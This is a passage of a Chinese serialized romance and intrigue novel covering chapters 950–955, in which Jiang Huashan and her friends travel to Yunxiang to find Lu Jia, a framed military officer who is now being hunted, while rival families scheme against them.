“公开声明和严肃处理的结果,希望能在三天内看到。至于赔偿就不必了,我们不缺那三瓜两枣。” 沈眠枝拿出手机,指尖随意在键盘点了点,随后站起身看向傅绥尔,“走吧。” 傅绥尔跟着起身,“你也太好说话了。” 沈眠枝笑了笑,“为了这点事浪费时间不值当。” 两人一动,身后那二十来个西装保镖无声地调整站位,形成护卫之势。 陈明生见状,连忙侧身让开道路,脸上堆满感激涕零的笑容:“我送送二位!” …… 第950章 默契大考验 公寓这边。 姜花衫、周绮珊、苏妙围坐在茶几旁,三人已经达成初步共识,剩下的就是具体实施的细节了。 “青市那边我已经安排好了,妙妙你带着周绮珊先过去。”姜花衫用笔在地图上标记着,“最迟明天下午,你们就要动身。” 周绮珊也明白拖延不得,点了点头:“明白。我们到了之后,怎么跟你保持联系?” “用这个。”姜花衫从包里拿出两支款式普通的手机递给她们,“里面装了加密通讯软件,随时联系。” 苏妙接过手机,好奇地摆弄了一下,转头看向周绮珊,“我得先回去跟爷爷交待一声,不然我突然离开鲸港,老爷子不放心。” “好。” 两人商定后,不约而同看向姜花衫,等待她最后的确认或补充。 就在这时,放在茶几上的手机屏幕忽然亮起,发出一声短促的震动。 姜花衫拿起手机,指尖划过屏幕,目光瞬间凝固。 “没时间了,我们必须马上出发。” 没等对面两人反应过来,她举起手机转向她们,“这是刚刚枝枝传来的消息。” 图片有些模糊,像是匆忙间对着电视屏幕拍下的,但内容却清晰得刺眼。 “这是……” 周绮珊呼吸骤然一窒,目光死死钉在画像上,即便只是模拟画像,那眉眼间的轮廓,她还是一眼就能认出这是路迦。 忽然她觉得浑身冷得不行。 苏妙立马察觉到了不对,倒吸一口凉气:“这是……路迦?云乡在通缉他?!” 姜花衫见周绮珊失魂落魄,沉默片刻低声道:“看来我们分析的没有错,云乡已经彻底沦陷蛇鼠一窝。不过,这也是个好消息,这些人给路迦标上犯罪的标签,说明他们还没有找到路迦,所以我们必须要快。” 关心则乱,周绮珊受不了那些人用这么肮脏的手段去抹黑一位孤勇前行的英雄,才会在看见“纵火犯”、“十恶不赦”这样的字眼时乱了分寸。 但姜花衫的提醒又将她的思绪拉了回来, 她点了点头,眼里隐隐闪着水光,“你说的对,这是好消息。可我们明明在做一件正确的事,为什么长官会被逼迫成这样?” 这个问题姜花衫回答不了,因为她比谁都清楚,这仅仅只是一个开始。 而当周绮珊知道真正的真相时,现在的痛苦根本不值一提。有些事,已经在终点等着周绮珊了,即便是她也不能改变什么。 短暂的沉默过后,周绮珊低头抹了抹眼角,深吸了一口气,“我没事。我现在可以出发,” 苏妙轻轻拍了拍周绮珊的肩膀,转头看向姜花衫,“爷爷那边我想办法。但是,绥尔和枝枝那边怎么办?如果云乡那边已经采取了行动,商会一定会想办法把人请出去,如果她们一直待着不走,我担心他们会起疑,” 姜花衫:“这个你放心,枝枝和绥尔原本对路迦的事就不知情,云乡商会就算要查也查不出什么。她们停留在云乡,不过是为了方便我,至于我?他们也查不清。” 苏妙听到这番解释,不由一愣,“她们什么都不知道怎么还能给你传消息,这也太厉害了。” “是啊。”姜花衫眼里的笑意深了些,那笑意带着与有荣焉的骄傲,“她们一直都很厉害。” 她撺掇沈眠枝和傅绥尔开公司,两人什么也没问,埋头就把公司开起来了。 她让她们做什么生意,她们就谈什么单,知道她的目标是云乡后,两人直接就杀去了云乡。 沈眠枝聪慧,傅绥尔果敢,她们不是什么都不知道,她们或许隐隐猜到了什么,但就是什么都不问。 她真的有一群超级厉害的盟友。 周绮珊暂时无法理解,犹豫片刻才谨慎问道:“云乡商会只怕不敢跟沈家冲突,你们怎么能顺理成章留下找人呢?” “这个嘛……”姜花衫看向窗外,“就要看我们的默契了。” * 云乡商会大楼外。 陈明生站在台阶上,目送着几辆黑色轿车缓缓驶离,直到尾灯彻底消失在街角,他长长吁出一口浊气,抬手抹了把额角。 总算把这两尊大神送走了。 他正想转身回楼里,一辆黑色轿车十分霸气闯入,横停在商会大楼正门前。 车窗半降,周宴珩露出半张侧脸。 “人找到了?” 陈明生心里咯噔一下,毕恭毕敬主动上前拉车门,“周少爷,您怎么亲自过来了?里面请!” 周宴珩躬身下了车。 他身着一件剪裁精良的深灰色羊绒长大衣,衣摆垂至小腿,将身形衬得愈发修长挺拔。他比陈明生高了近一个头,无需刻意,便自带一股居高临下的上位者气场。 陈明生低着头,小心翼翼跟在身后, 突然! 一阵刺耳的轮胎摩擦地面的声音骤然在身后响起! 只见刚刚驶离的那几辆黑色轿车,竟去而复返,以一个近乎蛮横的姿态对着周宴珩的座驾直接撞了上去。 ‘砰’得一声巨响,车灯碎裂。 陈明生愕然回头,还没明白怎么回事,肇事车辆的后车门被猛地推开,沈眠枝几乎是跳下了车。 “周宴珩!你躲我?!” …… 第951章 是美女不是君子 周宴珩脚步微顿,迟疑了一秒才完全转过身。 眼看着沈眠枝情绪激动地扑面而来,那张总是过分平静的脸上,罕见地出现了一丝极其细微的怔然。 但很快,他的表情又恢复了惯常的疏淡,只是眸底的暗色比刚才深沉了些,像是平静的湖面下悄然掠过一丝暗流。 “你怎么会在这?” 周宴珩不冷不热的质问让沈眠枝的脚步变得沉重了几分。 她倔强地往前逼近了几分,红着眼质问:“你就这么不想看见我?” 鸡同鸭讲。 周宴珩转眸看向一旁的陈明生,希望得到一个合理的解释。 陈明生是见识过沈眠枝厉害的,大小姐突然变成“爱情的俘虏”,让这位一贯机警的会长嗅到了一丝狗血秘辛,以至于他完全没有读懂周宴珩的眼神,只以为少爷嫌他碍事,立马一个闪现后退,给眼前的两位“男女主角”留出相处空间。 周宴珩:“……” 沈眠枝见周宴珩脸色不愉,心知也不好把人惹毛了,撇了撇嘴,多了几分委屈:“你为什么躲我?” 不远处,傅绥尔慢悠悠下车,摸着额头靠着车门。 也不知道是倒霉还是幸运,她和沈眠枝刚刚还在车里琢磨找个什么理由再待两天,周宴珩的车突然从对面开了过去,沈眠枝就跟疯了似的大喊掉头。 傅绥尔看着沈眠枝又是讨好又是委屈地围着周宴珩打转,只觉辣眼睛,翻了个白眼后,慢悠悠掏出手机,按下提前设置好的快捷键。 “喂~好消息,留下来了。坏消息,恋爱脑上线了。” * “知道了。” 姜花衫笑着挂了电话,转头朝身边两人摆了摆手,“默契依旧。” 回到菊园,姜花衫把自己关在绣楼捣鼓了一下午,连张茹叫吃晚饭都没有搭理。 张茹没办法,只好把晚饭送上楼,但姜花衫却不让她进门,张茹没法子,只能把晚饭留在门外,叮嘱了几声,下楼忙自己的事去了。 等又过了一个小时,张茹从厨房出来,见门口的饭一直没动,无奈摇了摇头,搓了搓手,准备弄点点心。 恰巧这时,有客人来了。 沈兰晞穿着一身深色常服,外面罩了件质感极佳的黑色羊绒大衣,身形清隽挺拔,要不是眼神冷了些,完全算得上是赏心悦目。 “衫衫呢?” “小姐在房间里。”张茹指着绣楼的方向。 沈园这三位少爷,她对沈归灵是亲近,对沈清予是防备,对沈兰晞则多了一分说不明的敬畏。 沈兰晞抬眸望向二楼,见餐盘还放在门口,眉头微蹙:“她没吃饭?” 张茹点头:“从早上回来就这样,午饭也没有吃。” 沈兰晞思忖片刻,转身向绣楼走去。 “诶?” 张茹原本想阻止,毕竟这么晚了也不太合适。但一想,沈兰晞最重规矩,倒也不用防,说不定还能劝姜花衫吃点东西。 她一把抓住准备上前看热闹的高止:“高管家,你就别上去了。” 为什么?不上去怎么吃瓜? 高冷人设不宜吐露心思,高止皱了皱眉,双手抱胸表示不满。 张茹顺手将小可怜塞进他怀里:“你好久没来撸龟了,这孩子都想你了。” 高止立马将高冷人设抛去了九霄云外,手臂不受控制地弯曲,让小可怜躺进舒适的臂弯。 “龟龟啊,你是不知道啊!我最近苦啊!遇上个没心没肺的冰坨子。他啊,不但虐待我的身体,还虐待我的灵魂,我……巴拉巴拉……” 张茹神情麻木,从围裙里扯出两团棉花塞进耳朵,转身进了厨房。 “衫衫。” 沈兰晞在门口等了两分钟,门敲了三遍,但里面一点反应都没有。 他立马察觉到了不对劲,试着推门,却发现门没有锁。 “衫衫,我进来了?” 问了一声,没有人回应。沈兰晞愈发笃定了心中的猜想,一把推开房门,快步走了进去。 卧室里灯火通明,不仅是顶灯,连角落的落地灯、书桌前的阅读灯都亮着,将偌大的空间照得纤毫毕现,甚至有些刺眼。 空气里弥漫着淡淡的香气,房间里空无一人。妆台边的窗户敞开着,米色的丝绒窗帘轻微荡漾。 沈兰晞的目光在踏入房间的刹那,就被眼前的景象牢牢钉住了。 原本的家私被挪到了一旁,地上只铺了一张巨大的白色长毛绒地毯,上面密密麻麻铺陈着各种信息纸张、照片、打印件、手写卡片,以及用各色丝线连接起来的图钉和标签。 构建者仿佛怕闯入的人看不懂似的,时间线从上到下蜿蜒延伸,关键节点用红色记号笔醒目标注;人物照片旁贴着详细的身份备注和关系箭头;不同颜色的丝线区分着势力归属、事件关联和资金流向;甚至附带了所有地图、建筑结构图,上面用荧光笔圈画出可疑区域…… 这不是杂乱无章的堆放,而是一张精心构建的信息网。 沈兰晞沉默了许久才回过神,缓缓蹲下身,取下所有箭头所指的中心位。 “云乡……” * 与此同时,鲸港国际机场。 夜晚的航站楼依然灯火通明,只是人流比白日稀疏了许多。 姜花衫背着个轻便的黑色双肩包,一边整理帽檐一边校对时间。 她临走时给沈兰晞发了一条空白消息。这个时间,沈兰晞应该已经看见她留下的信息了。 云乡事关重大,不是她们几个人就能解决的。这个时候英雄主义没有用,还是得依仗更厉害的势力。 沈兰晞是313师的嫡系,路迦又是313师最年轻的上将。以沈兰晞的能力,一定能在最短的时间内师出有名。 这样不仅能最大程度保证这次任务的顺利,还能让沈兰晞赚个军功。 至于那些信息,是沈兰晞趁她不在偷看的,这也不算违背君子协议。 退一万步来说,她是美女又不是君子,不遵守约定也很正常。 姜花衫毫无心理负担地给自己比了一个OK手势,现在就等着最后一个人了。 就在她抬腕再次确认时间的瞬间,一道沙哑紧绷的女声,透过周遭略显嘈杂的背景音,清晰地钻进她的耳朵: “姐姐……” …… 第952章 开始布局 云乡某私人会所。 厚重的丝绒窗帘将窗外城市的灯火隔绝。 周宴珩坐在宽大的单人沙发里,身体微微后靠,姿态放松,却无端透着一股疏离的压迫感。 “这么说,她们出现在这是你干的好事?” 陈明生心头一紧,艰难地斟酌着词句:“事情起因的确是因为我们的疏忽,但……您也瞧见了,她们明明都已经走了,是因为……” 周宴珩抬眼,浅琥珀色的眸子在灯光下显得格外深沉:“是因为什么?” 陈明生连忙低下头,不敢申辩。 早上那出,他看了半天才看明白,原来周家少爷和沈家小姐并非豪门联姻,倒像是“她追他逃”的狗血戏码。 现在沈家小姐跟狗皮膏药似的赖在云乡不走了,他们是一点办法都没有。 气氛有些尴尬。 陈明生小心打量了周宴珩一眼,主动转移话题:“少爷,这事您不用担心。我看那沈家小姐就是太喜欢您了,从您出现后,她眼睛里就没别的东西,两个小丫头片子,能掀起什么水花?” 小丫头片子? 等后面的风暴来了就知道是什么水花了! 周宴珩懒得解释,扯了扯嘴角:“人还没找到?” 陈明生脸色一凝:“昨天有个杂货铺老板来报信,说有个可疑的男人去他店里买过东西。我们现在已经封锁了那片区域,应该很快就会有消息了。” 周宴珩挥了挥手:“别怪我没提醒你,你手脚再不快些,等人来了,你可就没机会了。” 陈明生立马起身,躬身准备退下。 但周宴珩这话听得他七上八下,实在没想明白,他又折了回来,一脸讨好地请教:“少爷,您是说……还会有人来云乡找麻烦?” 周宴珩端起酒杯,指尖在冰凉的杯壁上缓缓摩挲。 他沉默的时间并不长,却让躬身等待的陈明生感到每一秒都被拉得无比漫长。 半晌后,周宴珩偏头看向陈明生,嘴角勾起一抹淡淡的弧度:“我可什么都没说” “……” 陈明生不由在心里骂出声,转身退出了房间。 室内重归寂静。 周宴珩站起身,指节分明的手指捏住窗帘边缘,“唰”的一声,云乡的夜色毫无保留地扑面而来。 他站在巨大的落地窗前,目光平静地俯瞰着脚下这座暗流汹涌的城市。 鲸港的风已经吹过来了。这座城,守,还是不守呢? 守,意味着他要应付接踵而来的麻烦,要在这滩越来越浑的水里与各方周旋,还要抢在所有人之前,把那个“麻烦”处理掉。 光想想,就觉得麻烦。 可要是不守,他又舍不下这局已然摆开的对弈。 忽然,他灵光一闪,转身坐回沙发旁,拿起手机,按下了一个拨号键。 电话响了大概四五声,才被接通。 另一端没有任何声音传来,只有一片近乎凝滞的沉默,以及压抑而警惕的细微呼吸。 周宴珩也不急,将手机贴近耳边,不紧不慢地开口:“你不是想让我救你?” “我在云乡,你能活着过来吗?” * 公海,“三不管”海域。 硝烟与海腥味混杂的气息尚未完全被海风吹散,但激烈的交火声已经平息。 海面上,“北极星”号庞大的身躯歪斜地停着。两艘护卫艇,一艘冒着浓烟瘫在远处,另一艘则被几艘海盗快艇团团围住,甲板上隐约可见被缴械蹲伏的人影。 钢铁巨舰的甲板上灯火通明,却笼罩在一片异样的寂静中。 海盗们聚集在船舷边或下层甲板,没人敢大声喧哗,所有人都仰头望着舰桥上方那个矗立的身影。 莫然从舰桥内走出,低声汇报:“少爷,‘北极星’号已被完全控制,抵抗轻微,俘虏二十七人,包括船长和大副。我方无阵亡,轻伤六人。” 安缇面带忧色:“殿下,这次动静太大,只怕A国的巡航舰不会轻易罢休,接下来我们该怎么办?” 沈归灵的目光扫过海面上那些眼巴巴望着他的海盗头目们,对于安缇的担忧,他脸上没有半分波澜。 他拿起通讯器,声音清晰地传遍各方:“那些货是你们的了,怎么分,按规矩来。” 话音刚落,死寂的海面瞬间被点燃! “嗷——!!!” 海盗们爆发出震耳欲聋的狂呼和怪叫。 沈归灵不再理会甲板上的喧嚣,转身面对眼前三人:“我要离开几天,舰上的事务暂时由你们接管,保持戒备,按备用航线机动。” 三人不由一愣。 “少爷,你要去……去哪?您……您要丢下我们了吗?” 这段时间雷行跟着沈归灵四处“打猎”,苦心研读的兵法终于有了用武之地,听说沈归灵要走,急得话都说不利索了。 沈归灵:“回鲸港。” 莫然这才反应过来,原来沈归灵从未放弃过回去。 之前不回是因为时机不对,如今他们几乎掌控了这片“三不管”海域,又闹出这么大的劫船事件,不管是A国还是S国,总会有人出面交涉。 所有人都以为沈归灵在此坐镇,这个时候悄然返回,反而不会惹人注意。 安缇仍有些不放心:“殿下,您一个人怎么回去?” “长官!!” 突然,舰桥雷达台前,一名负责监视的海员冲出哨台大喊:“东南方向十五海里,发现不明船只!航向直指我们!速度很快,没有应答识别码,但……看轮廓和航迹,不像是武装舰艇,更像是大型商船,或……特殊改装船!” 所有人的目光瞬间投向雷达屏幕,一个醒目的光点正在快速接近这片刚刚经历战火的区域。 安缇脸色一变:“这个节骨眼上……会不会是A国的伪装侦查船?” 沈归灵:“放行。” 在众人惊疑不定的注视下,那艘船渐渐驶近,轮廓在渐亮的晨光中变得清晰。那是一艘中型商船,船体线条流畅,涂装是低调的深蓝色。 莫然一眼认出了船侧的家族徽标,满脸诧异看向沈归灵:“少爷,是南湾‘安氏集团’。” 商船在距离战舰约百米处稳稳停下,放下了一艘小型交通艇。 只见一道身影轻盈地跃上甲板。来人看起来二十出头,身量高挑,穿着一身利落的深色航海服,一头微卷的长发被海风吹得有些凌乱。 “阿灵少爷,好久不见~” …… 第953章 别无选择 云乡没有机场,姜花衫只能先抵达青市再转车,一路辗转,到达云乡时已是早上八点。 她这次出发事先和沈娇打过招呼,沈娇安排了人在青市接机。原本是两个人出发,落地云乡时,身后却俨然变成了百人阵仗。 倒也不怪沈娇如此夸张,实在是姜花衫成年后“战绩”彪炳,沈娇想不重视都难。 这也是姜晚意阔别多年后,第一次乘坐标记着沈家族徽的汽车。整个行程中,其他车辆要么远远看见标志就绕行,要么拿出手机拍照打卡。 她再一次感受到了权势的滋味,但全然不是幼年时的心态了。 姜花衫进城第一天,包下了云乡最好酒店的顶层所有套间,当地人没见过的豪车占满了酒店停车场,声势之浩大,上至ZF领导,下至贩夫走卒,都知道“家里”来了位鲸港大人物。 酒店负责人生怕怠慢这位贵客,甚至调派了整层楼的服务员专供顶层差遣。所有人对待姜花衫都是毕恭毕敬,连笑容都带着小心翼翼的讨好。 短短一次出行,姜晚意深切体会到了什么是“云泥之别”。 她以前总觉得,姜花衫没什么了不起,不过就是命好了一点。如果她能讨得沈爷爷欢心,一定能做得比姜花衫更好,大家也会理所当然地喜欢她。 可目睹方眉的结局后,她才恍然惊觉,自己以往的认知多么可笑。 所有在浅滩里挣扎的小鱼小虾都听过“鲤鱼跃龙门”的故事,大家都渴望成为那只万里挑一的鲤鱼。 但没有人告诉他们,鲤鱼越过龙门之后,要面对的是一池早已腾云驾雾的金龙。龙门,不过是普通鲤鱼得以觐见他们的最低门槛。 “又在打什么鬼主意?”姜花衫抬眸,见姜晚意一副魂不守舍的样子,放下手机,双手抱胸打量着她。 姜晚意立刻回神,摇了摇头:“没有,姐……” “我提醒过你,不要叫我姐姐。” 姜晚意微怔,触及姜花衫的目光,下意识示弱:“那……那我该怎么称呼你?” “只要不让我觉得恶心,称呼随你。” “……”姜晚意无意识地揉搓着指尖,几经挣扎,终于不再纠结于称呼,小心翼翼问道,“我已经跟你来到云乡了。现在……可以告诉我,你需要我做什么了吗?” 姜花衫没有立刻回答。 她站起身,走到一旁的梳妆台前,拉开抽屉,从里面取出一把银光闪闪的剪刀。 “你……你想做什么?”姜晚意心脏猛地一缩,一股寒意从脊背窜起。 她本能地向后退,脚步有些凌乱,却又不敢反抗得太明显,只是眼神里充满了惊惧和不解,紧紧盯着姜花衫手中那抹冰冷的寒光。 姜花衫在她面前站定,目光平静地落在她脸上,又缓缓移到她精心打理过的长发上。 “别动。不然刮花了你的脸可别怪我。”声音很轻,却带着不容置疑的命令。 姜晚意浑身僵硬,眼看着那锋利的剪刀尖离自己越来越近,呼吸都屏住了。 在剪刀几乎要触及她发丝的瞬间,她死死闭上了眼睛,睫毛因恐惧而剧烈颤抖。 “咔嚓——” 一声清脆利落的轻响,在寂静的套房中格外清晰。 预想中的疼痛或伤害并未到来。姜晚意只感到左边头皮一轻,几缕断发擦过她的脸颊,落在昂贵的地毯上。 她颤巍巍地睁开眼,下意识抬手摸向耳侧,那里的长发被齐刷刷剪去了一半,留下一个极为突兀的断面。 姜花衫收回剪刀,指尖捻起那缕被剪下的长发,随手丢进一旁的垃圾桶。她看着姜晚意瞬间苍白脸色,嘴角扯出一道冷漠的弧线。 “现在才知道害怕是不是晚了?” 姜晚意一时还没反应过来,眼里的泪水冷不丁落了下来。大约是觉得丢脸,她别过头立马擦干净。 姜花衫并未因此心软,将剪刀丢进沙发,“剩下的自己剪,就按这个长度。浴室里有染发剂,剪完自己去染。” 姜晚意没有立刻去拿剪刀。 “你……”她鼓起勇气询问,声音有些干涩,带着残留的颤音,“不会骗我的,对不对?” 姜花衫脚步微顿,转头迎上姜晚意的目光,“你还有别的选择?” 姜晚意目光一僵,瞬间蒙上了一层灰雾。 是啊,她没有选择了,她甚至都不被允许活着。 她原以为自己顺从周家,背叛了姜花衫、背叛了方眉就能得到自由,可事实却恰恰相反。 沈渊得知她与周家暗地联系,害得他苦心谋划落空,要杀她泄愤;她原以为周家可以投靠,没想到周老爷子觉得她知道太多,竟找人要将她活埋。 她不想死,但蝼蚁的挣扎撼动不了大树。 绝望之际,她想到了姜花衫。 于是,她买了一瓶农药,坐在方眉的墓碑前给姜花衫打了个电话,心想着如果姜花衫拒绝,起码她要死在自己手里。 但姜花衫没有,她给了她第三次机会。 那天,她抱着方眉的墓哭了很久。 她告诉方眉,她后悔了,如果还能有一次机会,她一定会拉住她,不让她来鲸港。 因为只要不来鲸港,母亲的欲望就不会被放大,她们还能在不走失的缘分里继续做母女。 她也不会变成害死母亲的杀人犯。 泪水再一次不受控制地涌上眼眶,但这一次,姜晚意狠狠咬住了下唇,没让它们掉下来。 她用力眨了几下眼睛,将那股酸涩的湿意逼了回去。 姜晚意没有再看姜花衫,也没有再问任何问题。 “咔嚓——咔嚓——” 一声接一声,茶色的发丝纷纷扬扬地落下,在她脚边堆积。 …… 第954章 她是我的姐姐 两个小时后。 套房的门铃被轻轻按响,声音在过分安静的空间里显得格外清晰。 姜花衫从手机屏幕上抬起头,别有深意地瞥了姜晚意一眼,不疾不徐地走向门口。 打开门,外面站着两个人。 “姜小姐。” 酒店负责人微微躬身,语气热络,“您的朋友到了。” “有劳。”姜花衫侧身让开,笑着与傅绥尔寒暄,“只有你一个人,枝枝呢?” 负责人识趣地往后退,目光却下意识地顺着敞开的门缝飞快朝套房内扫了一眼。 客厅宽敞明亮,沙发上似乎坐着一个人。是个短发的年轻女子,侧对着门口,低着头,看不清面容。 男人心里不觉一愣,早上这位姜小姐入住时,身边明明只跟着一个长发及腰、容貌秀丽的年轻女孩,怎么…… 他正暗自诧异,只见沙发上的短发女子似乎听到了门口的动静,立马从面前的茶几上拿起一顶栗色的假发,动作熟练地将假发戴在头上。 瞬间,那个沉默不起眼的短发背影消失了,取而代之的是一个看起来温顺安静、长发披肩的侧影。 可不就是早上他见过的那个? 负责人心里有数了,连忙低下头:“那……姜小姐,我就不打扰了。有任何需要,请随时……” 没等他说完,房门“砰”地一声关上。 显然,高高在上的千金大小姐压根没有搭理他的心思。 负责人长舒了一口气,背影很快消失在走廊地毯上。 屋内,姜花衫和傅绥尔在关上门的一瞬间,不约而同凑上前,耳朵贴着门板听动静。 等了一会儿,傅绥尔眨了眨眼,“好像走了。” 两人相视一笑,一起起身。 “你速度够快的啊,还以为你要明天才能过……”傅绥尔笑嘻嘻的脸色在看见姜晚意时,瞬间拉胯,“她怎么也在这?!” 从前在沈园时,姜晚意就常常撺掇姜花衫找傅绥尔的麻烦。这么多年过去了,傅绥尔已经不记得和姜花衫的梁子了,但被姜晚意推下楼的事她可记得清清楚楚。 姜晚意自知身份不对等,完全没了当年小人得志的模样,小心瞥了姜花衫一眼,希望她能替自己说几句话。 嫡长闺的地位不是人人可以撼动的,姜花衫只当没看见,摆摆手让姜晚意回房。 姜晚意说不上失望,起身回了房间。临关门时,她看见姜花衫拉着傅绥尔的手,一直笑吟吟地说着好话。 傅绥尔却不依不饶,扯着嗓子叫嚷:“你还敢信她,她就是毒蛇,养不熟的白眼狼!担心被她反咬一口。” 明眼人一看就知道她是冲着谁。 不知怎么,姜晚意忽然想起来,以前姜花衫也是这么对她的,什么好东西都巴巴拿来跟她分享,可她却把这些当成理所当然的讨好,愈发不把这个姐姐放在眼里。 后来,她们的关系就变了。 姜花衫完全没有在意另一道门外的视线,她拉着傅绥尔小声道:“行了!正事要紧!” 傅绥尔瞥了过道一眼,努了努嘴:“什么正事啊?” 姜花衫:“你这几天没事就去云乡大街上转悠,要是碰见新闻里说的那个通缉犯,想办法和他搭上话。” “我?!”傅绥尔点着自己的鼻尖,一脸惊讶,“通缉犯一般都是躲起来的,哪这么容易撞见?” 别人不容易,但傅绥尔有幸运加持,那就说不定了。 姜花衫没空解释,从口袋掏出周绮珊的徽章放进傅绥尔的掌心,“如果他不信你,你就给他看这个。” 傅绥尔是军政学府的学生,一眼就认出了手里这个烧得面目全非的徽章是313师的军徽。 她脸上的神情瞬间变得凝重,郑重点了点头:“知道了。” “枝枝呢?” “她?”说到沈眠枝,傅绥尔表情比活吞了一只苍蝇还难受,“别提了,我出门的时候她就不见了,不用说,肯定找周宴珩去了。” “随她去吧。”姜花衫笑了笑。 傅绥尔想着还有正事要做,两人相互交换了信息,便各自忙去了。 临走时,傅绥尔还是不解气,转头冲到姜晚意的房门口“邦邦邦”地敲门。 姜晚意不敢不应,刚打开门,就被傅绥尔噼里啪啦一顿输出。 骂的什么,她已经不记得了,但最后一句话她记了很久。 “当初是你不要的,现在也别想来沾边,她是我的姐姐!” * 最后,傅绥尔气鼓鼓地出了酒店。 酒店门口车水马龙,对面是云乡相对繁华的商业街,各种店铺招牌琳琅满目,行人往来。 在街上“偶遇”通缉犯?这简直比大海捞针还离谱。 虽然傅绥尔搞不懂为什么姜花衫要给她布置这么离谱的任务,但还是坚决贯彻,漫无目的地在街上游荡。 忽然,她的视线猛地顿住了。 街对面,一家不起眼的劳保店,一个男人刚刚掀开厚重的防风塑胶门帘走出来。 男人穿着一件半旧的深灰色夹克,拉链拉到领口,戴着一顶普通的黑色鸭舌帽,帽檐压得很低。 他手里提着一个看起来很结实的黑色塑料袋,脚步很快,几乎是贴着墙根移动。 整个过程不过两三秒,那个男人大部分时间背对着街道,且始终低着头。 但就在他转身没入巷口前的那一刹那,一阵不大的穿堂风恰好卷过,微微掀起了他过低的帽檐,也让他的侧脸在日光下暴露了极其短暂的一瞬。 高挺的鼻梁,紧抿的、线条冷硬的薄唇,以及下颌那道清晰而略显嶙峋的轮廓。 傅绥尔的心脏像是被什么东西狠狠撞了一下! 那张脸…… 虽然只是一闪而过的侧影,但那份骨相里的冷峻,让她瞬间联想到了新闻里滚动播放的那张模拟画像! 不会吧?! 路迦?!!!! 傅绥尔脑子“嗡”的一声,所有的懊恼和杂念瞬间被抛到九霄云外。她来不及细想这巧合得近乎诡异的一幕,身体已经先于意识做出了反应。 她左右飞快扫了一眼,趁着绿灯最后几秒,像一只敏捷的豹子,猛地冲过车流尚未完全启动的马路,朝着那个男人消失的狭窄巷口疾奔而去。 巷子很深,两侧是斑驳的老旧居民楼外墙,晾晒着各色衣物,地上堆着杂物,光线也比主街暗了许多。 眼前已经没有人影了。 傅绥尔心一紧,一边警惕地观察四周,一边掏出手机,迅速往后退。 这种情况,还是多叫点人比较靠谱。 就在这时,一只骨节分明的大手精准地绕过她的肩膀,五指如同铁钳,猛地扣住了她的咽喉! 同时,另一只手死死捂住了她刚刚张开的嘴,将一声短促的惊呼彻底堵了回去。 “……” 傅绥尔眼见挣扎无果,当机立断,立马举起一直攥在掌心的银色徽章。 …… 第955章 农夫与蛇 徽章表面布满了烟熏火燎的痕迹,边缘有明显的烧融变形,金属原本的光泽被一层黯淡的黑灰色覆盖,甚至能看出高温灼烧后特有的扭曲纹理。 可即便是这样,在晦暗的小巷也显得尤其刺眼。 傅绥尔敏锐地感觉到了身后之人的挟持松动了许多,求生的本能让她抓住这转瞬即逝的机会。 她猛地拉下脸上的手,语速极快:“太好了!终于找到你!别怕,我是来帮你的,快跟我……” “走”字还没出口。 身后的力道忽然加重,男人一句话都没有说,像甩麻袋一样,将她朝着巷子入口的方向狠狠掼了出去! “唔——!” 傅绥尔只觉得一股巨大的力量袭来,身体完全不受控制地腾空,向后飞跌。 她惊呼一声,后背和臀部重重撞在巷口堆积的几个废弃纸箱和破旧编织袋上,发出沉闷的响声。 虽然这些杂物缓冲了部分冲击力,没让她直接撞上坚硬的地面或墙壁,但依旧摔得她眼冒金星,五脏六腑都像移了位,喉咙里呛出一连串剧烈的咳嗽。 搞什么?! 傅绥尔头晕眼花地挣扎着想要爬起来,抬眼望去。 那条阴暗的短巷尽头,已经空空如也。 “……” * 叮咚—— 酒店套房的门铃再次响起,姜花衫打开房门时,明显愣了一下。 傅绥尔头发有些凌乱,一脸的气急败坏。还没等姜花衫开口询问,就像一阵风似的挤了进来,反手“砰”地一声把门关上。 姜花衫皱眉:“怎么了?有人欺负你?” “不是!”傅绥尔摇头,声音还带着一丝微颤,“我……刚刚在街上撞见他了。” 姜花衫眼神一凝,迅速将傅绥尔从头到脚打量了一遍,触及到她脖颈处的红印时眼神立马沉了下去。 “怎么回事?慢慢说。” 傅绥尔咽了口唾沫,平复了一下呼吸,语速飞快地把刚才在街上的遭遇讲了一遍。 “……那家伙就跟个幽魂似的,一下子就没踪影!我连他往哪个方向跑的都没看清!”傅绥尔越说越气。 姜花衫安静地听她说完,脸上没什么意外的表情,反而像是印证了某种猜测。 她走到茶几旁,倒了一杯温水递给傅绥尔,“先喝点水,压压惊。” 傅绥尔接过水杯,咕咚咕咚喝了大半杯,这才觉得火烧火燎的喉咙好受了一些。 发泄过后,她也冷静了下来,脸色凝重:“衫衫,那徽章到底是谁的?你说让我把徽章给‘他’看,我明明照做了,为什么‘他’还是要跑?” 虽然傅绥尔不了解云乡的始末,但她了解政治。 一位出现在烈士名单里的一星上将,现在竟然被边陲小城通缉,这里面必然有阴谋。 姜花衫绕过沙发重新坐下,目光投向窗外灰蒙蒙的天空。 “看来,路迦真的拿到了不得了的资料。” 忽然,脑子里的记忆轴像被什么撬动了似的重新转了起来,之前怎么都想不起的画面渐渐变得清晰。 姜花衫脸色微变,她想起来了! 她想起了那封被遗忘的报刊内容了。 是一封荣誉除名声明。 -【原313师特战指挥官路迦,在“深蓝”行动中临阵脱逃,导致任务失败、情报泄露。经缺席审判,认定其犯有战时脱逃罪、过失泄露国家机密罪。此后他流窜多地,与不明势力勾结,更在云乡涉及纵火、爆炸等恶性案件。现撤销其一切荣誉、军功及待遇,予以除名。另注明,该犯在抓捕行动中反抗强烈,已被当场击毙。】 所有谜团在这一刻都得到了解答。 路迦明明认识周绮珊的徽章,但他还是选择了逃走,说明他现在连周绮珊也不信任了。 发生什么事会让他连昔日的战友都不相信?答案已经呼之欲出。 路迦手里一定有直指周家的证据,所以周宴珩才会守在云乡,所以这些人才敢丧心病狂地给一星上将安上通缉犯的标签。 上一世,路迦没能逃过沈渊,死后亦带着污名。 而这一世,同样的宿命早就已经开始了。 姜花衫转头看向傅绥尔,声音前所未有的凝重:“绥尔!你现在就带着人去路迦消失的附近找人,不管怎么样,一定要把人找到!再晚,路迦只怕会没命了。” * 此刻,路迦正贴着潮湿斑驳的墙根疾行,大脑飞速运转,规划着下一个隐蔽点的路线。 他去集市买东西时,听见当地人一直在讨论,说是鲸港来了一位大人物。原本他去酒店附近,就是想看看这位大人物是谁,有没有可能替他传送情报,不想刚出门就被人跟踪了。 他并非不认识女孩手里的徽章,但老闫临死之前的叮嘱他不敢忘。 云乡已经被重重包围,周绮珊的人却能轻而易举进出,甚至不费吹灰之力就找到了他,若说没有周家暗箱操作,他无论如何都不信。 